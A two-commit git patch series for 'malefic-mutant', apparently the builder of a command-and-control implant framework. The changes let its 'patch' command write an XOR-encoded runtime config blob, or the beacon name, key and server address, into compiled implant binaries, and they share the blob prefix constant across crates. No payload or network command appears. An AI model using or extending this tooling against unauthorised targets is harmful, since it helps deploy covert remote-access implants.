From eb911c50ea8f1ca73ca72092cfb8676bc56b1a3d Mon Sep 17 00:00:00 2001 From: 0x00 Date: Thu, 15 Oct 2026 10:46:57 +0800 Subject: [PATCH 1/2] fix(mutant): accept config blob mode in tool patch and follow config crate blob prefix tool patch now accepts -i/--input (alias of -f/--file) plus the config blob sources -c/--config, --from-implant and --blob, routing to the runtime config blob patcher; without them it keeps the NAME/KEY/SERVER field patch behavior. tool patch-config is unchanged and shares the same implementation. The blob prefix is no longer hardcoded as CFGv3B64 in malefic-mutant: the config crate exports CONFIG_BLOB_PREFIX (currently CFGv4B64) and both blob validation and slot location follow it, so the patcher stays in sync with the prefix embedded by ConfigBlobText. --- malefic-crates/config/src/lib.rs | 1 + malefic-crates/config/src/runtime.rs | 10 +- malefic-mutant/src/cmd.rs | 18 +++- malefic-mutant/src/main.rs | 137 +++++++++++++++++---------- malefic-mutant/src/tool/patch.rs | 9 +- 5 files changed, 117 insertions(+), 58 deletions(-) diff --git a/malefic-crates/config/src/lib.rs b/malefic-crates/config/src/lib.rs index 49ed7424..03f2c320 100644 --- a/malefic-crates/config/src/lib.rs +++ b/malefic-crates/config/src/lib.rs @@ -26,6 +26,7 @@ pub use runtime::{ ConfigBlobText, RuntimeConfig, CONFIG_BLOB_B64_LEN, + CONFIG_BLOB_PREFIX, CONFIG_BLOB_TEXT, CONFIG_BLOB_TEXT_LEN, decode_runtime_config_bytes, diff --git a/malefic-crates/config/src/runtime.rs b/malefic-crates/config/src/runtime.rs index d0891ead..8126d28c 100644 --- a/malefic-crates/config/src/runtime.rs +++ b/malefic-crates/config/src/runtime.rs @@ -20,6 +20,10 @@ pub const CONFIG_BLOB_TEXT_LEN: usize = 16384; const CONFIG_BLOB_PREFIX_LEN: usize = 8; const CONFIG_BLOB_PAYLOAD_LEN: usize = CONFIG_BLOB_TEXT_LEN - CONFIG_BLOB_PREFIX_LEN; +/// Prefix marking the embedded runtime config blob slot. Shared with the patcher +/// (malefic-mutant) so both sides always agree; bump it when the slot format changes. +pub const CONFIG_BLOB_PREFIX: &[u8; 8] = b"CFGv4B64"; + /// Backwards-compatible alias used by the patching CLI (this is *not* a base64 length anymore). pub const CONFIG_BLOB_B64_LEN: usize = CONFIG_BLOB_TEXT_LEN; @@ -32,8 +36,8 @@ pub struct ConfigBlobText { impl ConfigBlobText { pub const fn new() -> Self { Self { - // Inline the prefix bytes directly to avoid creating a separate constant in the binary - prefix: *b"CFGv4B64", + // Const reference is inlined at compile time, no separate symbol in the binary + prefix: *CONFIG_BLOB_PREFIX, payload: [PAD_BYTE; CONFIG_BLOB_PAYLOAD_LEN], } } @@ -755,7 +759,7 @@ pub fn load_runtime_config(fallback: RuntimeConfig) -> RuntimeConfig { } /// Create a fixed-length ASCII string (4096 bytes) that fits exactly in the embedded buffer. -/// Format: `CFGv3B64` + base64(encrypted tinyserde bytes) + `#` padding. +/// Format: `CONFIG_BLOB_PREFIX` (currently `CFGv4B64`) + base64(encrypted tinyserde bytes) + `#` padding. #[cfg(feature = "encoder")] pub fn encode_runtime_config(config: &RuntimeConfig) -> Result { let cipher = XorCipher::new(BLOB_KEY_SEED); diff --git a/malefic-mutant/src/cmd.rs b/malefic-mutant/src/cmd.rs index 9b251671..34a4c22b 100644 --- a/malefic-mutant/src/cmd.rs +++ b/malefic-mutant/src/cmd.rs @@ -420,11 +420,11 @@ pub enum Tool { output: String, }, - /// Patch compiled binaries (NAME / KEY / SERVER address) + /// Patch compiled binaries (NAME / KEY / SERVER address, or runtime config blob) #[command(name = "patch")] Patch { /// Target binary file (e.g. malefic.exe) - #[arg(long, short = 'f')] + #[arg(long, short = 'f', visible_alias = "input", visible_short_alias = 'i')] file: String, /// New NAME value (beacon name) @@ -439,6 +439,18 @@ pub enum Tool { #[arg(long)] server_address: Option, + /// Runtime config file (json/yaml) matching RuntimeConfig + #[arg(long, short = 'c')] + config: Option, + + /// Generate runtime config from implant.yaml instead of raw RuntimeConfig + #[arg(long = "from-implant")] + from_implant: Option, + + /// Pre-encoded blob string (length must equal CONFIG_BLOB_B64_LEN) + #[arg(long)] + blob: Option, + /// Output file path (defaults to .patched) #[arg(long, short = 'o')] output: Option, @@ -448,7 +460,7 @@ pub enum Tool { xor_key: Option, }, - /// Patch runtime config blob (CFGv3B64 prefix + fixed payload) + /// Patch runtime config blob (CFG prefix + fixed payload) #[command(name = "patch-config")] PatchConfig { /// Target binary file (e.g. malefic.exe) diff --git a/malefic-mutant/src/main.rs b/malefic-mutant/src/main.rs index 7c02ed32..a0220a11 100644 --- a/malefic-mutant/src/main.rs +++ b/malefic-mutant/src/main.rs @@ -607,9 +607,28 @@ fn parse_tool(tool: &Tool) -> anyhow::Result<()> { name, key, server_address, + config, + from_implant, + blob, output, xor_key, } => { + let config_mode = config.is_some() || from_implant.is_some() || blob.is_some(); + if config_mode { + if name.is_some() || key.is_some() || server_address.is_some() { + return Err(anyhow::anyhow!( + "--name/--key/--server-address cannot be combined with --config/--from-implant/--blob" + )); + } + return patch_runtime_config_blob( + file, + config.as_ref(), + from_implant.as_ref(), + blob.as_ref(), + output.as_ref(), + ); + } + use crate::tool::patch::{ batch_patch_binary, BatchPatchOptions, FieldPatch, PatchField, }; @@ -648,7 +667,7 @@ fn parse_tool(tool: &Tool) -> anyhow::Result<()> { } if patches.is_empty() { - log_error!("No fields specified to patch. Use --name, --key, or --server-address"); + log_error!("No fields specified to patch. Use --name, --key, --server-address, --config, --from-implant, or --blob"); return Err(anyhow::anyhow!("no fields specified for patching")); } @@ -693,51 +712,13 @@ fn parse_tool(tool: &Tool) -> anyhow::Result<()> { from_implant, blob, output, - } => { - use crate::tool::patch::{patch_config_blob, ConfigBlobPatchOptions}; - use malefic_config::{encode_runtime_config, CONFIG_BLOB_B64_LEN}; - - log_step!("Patching runtime config blob in {}", file); - - let blob_str = if let Some(b64) = blob { - normalize_blob_string(b64, CONFIG_BLOB_B64_LEN)? - } else { - let cfg = if let Some(path) = from_implant.as_ref() { - let implant = load_yaml_config(path)?; - convert_implant_to_runtime_config(&implant)? - } else { - let cfg_path = config - .as_ref() - .ok_or_else(|| anyhow::anyhow!("--config or --blob must be provided"))?; - load_runtime_config_from_file(cfg_path)? - }; - let encoded = encode_runtime_config(&cfg) - .map_err(|e| anyhow::anyhow!("encode_runtime_config failed: {:?}", e))?; - encoded - }; - - let opts = ConfigBlobPatchOptions { - file: file.clone(), - blob_b64: blob_str, - blob_len: CONFIG_BLOB_B64_LEN, - output: output.clone(), - }; - - let outcome = patch_config_blob(&opts)?; - let overwritten = outcome.output_path == std::path::PathBuf::from(file); - - log_success!( - "Patched runtime config blob at offset 0x{:X} ({} decimal)", - outcome.offset, - outcome.offset - ); - if overwritten { - log_info!("Original file overwritten in-place"); - } else { - log_info!("Patched file written to {}", outcome.output_path.display()); - } - Ok(()) - } + } => patch_runtime_config_blob( + file, + config.as_ref(), + from_implant.as_ref(), + blob.as_ref(), + output.as_ref(), + ), Tool::Encode { input, encoding, @@ -1630,15 +1611,71 @@ fn convert_implant_to_runtime_config( }) } +/// Patch the fixed-length runtime config blob slot of a compiled binary. +/// +/// Shared by `tool patch` (when a config source is given) and `tool patch-config`. +fn patch_runtime_config_blob( + file: &str, + config: Option<&String>, + from_implant: Option<&String>, + blob: Option<&String>, + output: Option<&String>, +) -> anyhow::Result<()> { + use crate::tool::patch::{patch_config_blob, ConfigBlobPatchOptions}; + use malefic_config::{encode_runtime_config, CONFIG_BLOB_B64_LEN}; + + log_step!("Patching runtime config blob in {}", file); + + let blob_str = if let Some(b64) = blob { + normalize_blob_string(b64, CONFIG_BLOB_B64_LEN)? + } else { + let cfg = if let Some(path) = from_implant { + let implant = load_yaml_config(path)?; + convert_implant_to_runtime_config(&implant)? + } else { + let cfg_path = config.ok_or_else(|| { + anyhow::anyhow!("--config, --from-implant or --blob must be provided") + })?; + load_runtime_config_from_file(cfg_path)? + }; + encode_runtime_config(&cfg) + .map_err(|e| anyhow::anyhow!("encode_runtime_config failed: {:?}", e))? + }; + + let opts = ConfigBlobPatchOptions { + file: file.to_string(), + blob_b64: blob_str, + blob_len: CONFIG_BLOB_B64_LEN, + output: output.cloned(), + }; + + let outcome = patch_config_blob(&opts)?; + let overwritten = outcome.output_path == std::path::PathBuf::from(file); + + log_success!( + "Patched runtime config blob at offset 0x{:X} ({} decimal)", + outcome.offset, + outcome.offset + ); + if overwritten { + log_info!("Original file overwritten in-place"); + } else { + log_info!("Patched file written to {}", outcome.output_path.display()); + } + Ok(()) +} + fn normalize_blob_string(raw: &str, expected_len: usize) -> anyhow::Result { - const PREFIX: &str = "CFGv3B64"; + use malefic_config::CONFIG_BLOB_PREFIX; + + let prefix = std::str::from_utf8(CONFIG_BLOB_PREFIX).expect("config blob prefix is utf8"); let cleaned: String = raw.chars().filter(|c| !c.is_whitespace()).collect(); - let mut normalized = if cleaned.starts_with(PREFIX) { + let mut normalized = if cleaned.starts_with(prefix) { cleaned } else { - let mut out = String::with_capacity(PREFIX.len() + cleaned.len()); - out.push_str(PREFIX); + let mut out = String::with_capacity(prefix.len() + cleaned.len()); + out.push_str(prefix); out.push_str(&cleaned); out }; diff --git a/malefic-mutant/src/tool/patch.rs b/malefic-mutant/src/tool/patch.rs index 36049d70..17cbfec8 100644 --- a/malefic-mutant/src/tool/patch.rs +++ b/malefic-mutant/src/tool/patch.rs @@ -1,10 +1,10 @@ use anyhow::{anyhow, bail, Context, Result}; use clap::ValueEnum; +use malefic_config::CONFIG_BLOB_PREFIX; use std::fs; use std::path::{Path, PathBuf}; const BLOCK_LEN: usize = 64; -const CONFIG_BLOB_PREFIX: &[u8] = b"CFGv3B64"; #[derive(Clone, Debug, ValueEnum)] pub enum PatchField { @@ -419,7 +419,12 @@ pub fn patch_config_blob(opts: &ConfigBlobPatchOptions) -> Result Date: Thu, 15 Oct 2026 11:18:18 +0800 Subject: [PATCH 2/2] test(config): add missing max_packet_length to sample_config The encoder-gated test module no longer compiled after RuntimeConfig gained max_packet_length; with the field pinned the round_trip_encoding and rejects_bad_prefix tests build and pass again. --- malefic-crates/config/src/runtime.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/malefic-crates/config/src/runtime.rs b/malefic-crates/config/src/runtime.rs index 8126d28c..277d33ca 100644 --- a/malefic-crates/config/src/runtime.rs +++ b/malefic-crates/config/src/runtime.rs @@ -903,6 +903,7 @@ mod tests { domain_suffix: None, } }], + max_packet_length: 0, } }